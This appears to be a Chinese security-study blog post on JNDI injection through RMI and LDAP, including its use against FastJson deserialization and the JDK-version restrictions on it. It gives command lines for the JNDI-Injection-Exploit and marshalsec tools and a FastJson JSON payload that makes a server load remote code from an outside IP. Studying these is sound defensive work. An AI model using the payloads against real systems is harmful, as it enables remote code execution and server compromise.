码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 安全学习_开发相关_JNDI介绍(注入)&RMI&LDAP服务


    文章目录

    • 参考&本节目的
    • JNDI概念-RMI&LDAP服务
      • 调用检索:
        • 在RMI服务中调用了InitialContext.lookup()的常用类有:
        • 在LDAP服务中调用了InitialContext.lookup()的常用类有:
    • JNDI注入-使用工具生成远程调用
        • JNDI远程调用-工具(jndi-injection)自主定义
        • JNDI远程调用-工具marshalsec
    • JNDI注入-FastJson漏洞结合
    • JNDI注入-JDK高版本注入绕过
        • JDK 6u45、7u21之后:
        • JDK 6u141、7u131、8u121之后:
        • JDK 6u211、7u201、8u191之后:

    参考&本节目的

    https://blog.csdn.net/dupei/article/details/120534024

    高版本绕过参考:

    https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

    https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

    什么是jndi注入

    为什么有jndi注入

    JDNI注入安全问题

    JDNI注入利用条件

    参考:https://blog.csdn.net/dupei/article/details/120534024

    JNDI概念-RMI&LDAP服务

    JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

    RMI:远程方法调用注册表

    LDAP:轻量级目录访问协议

    调用检索:

    Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

    javax.naming.InitialContext.lookup()

    在RMI服务中调用了InitialContext.lookup()的常用类有:

    org.springframework.transaction.jta.JtaTransactionManager.readObject()
    
    com.sun.rowset.JdbcRowSetImpl.execute()
    
    javax.management.remote.rmi.RMIConnector.connect()
    
    org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在LDAP服务中调用了InitialContext.lookup()的常用类有:

    InitialDirContext.lookup()
    
    Spring LdapTemplate.lookup()
    
    LdapTemplate.lookupContext()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    JNDI中内置了rmi、ldap服务

    rmi、ldap都可以进行远程调用对象,可以远程执行java代码class文件

    攻击利用中就用到了jndi-injection和marshalsec工具

    jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap高版本有一定绕过方法。

    JNDI注入-使用工具生成远程调用

    JNDI远程调用-工具(jndi-injection)自主定义

    1、使用远程调用(默认端口1389)

    new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/xxx”);

    new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/xxx”);

    2、使用利用工具生成调用地址

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A xx.xx.xx.xx

    JNDI远程调用-工具marshalsec

    1、使用远程调用(默认端口1389)

    new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);

    new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

    2、编译调用对象

    javac Test.java

    将对象编译为class文件,放入远程服务器后利用工具生成调用协议

    3、使用利用工具生成调用协议(rmi,ldap)

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

    4、将生成的Class存放访问路径

    JNDI注入-FastJson漏洞结合

    背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

    思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

    漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

    1、报错判断FastJson

    2、使用工具生成远程调用方法

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A 47.94.236.117

    3、提交JSON数据Payload

    {“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://47.94.236.117:1099/vwaexx”,“autoCommit”:true}

    该类最终调用了InitialContext.lookup()

    JNDI注入-JDK高版本注入绕过

    JDK 6u45、7u21之后:

    java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

    将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

    使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

    JDK 6u141、7u131、8u121之后:

    增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

    因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

    JDK 6u211、7u201、8u191之后:

    增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

    禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

    高版本绕过参考:

    https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

    https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

    marshalsec中集成了一些绕过,绕过的ldap服务。

  • 相关阅读:
    RocketMQ的架构设计
    基于springboot的体育馆预约系统(前端+后端)
    景联文科技:高质量的训练数据为高性能自动驾驶汽车提供动力
    MySQL中 LBCC 和 MVCC 的理解,常见问题及示例:
    LeetCode·每日一题·
    FocalLoss解析
    网络安全—DDoS攻防
    三、NLP中的句子关系判断
    Hadoop-Yarn-NodeManager如何计算Linux系统上的资源信息
    2022最新调优、微服务、框架、分布式指南,我的“大厂”不是梦
  • 原文地址:https://blog.csdn.net/qq_55977327/article/details/133580581
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号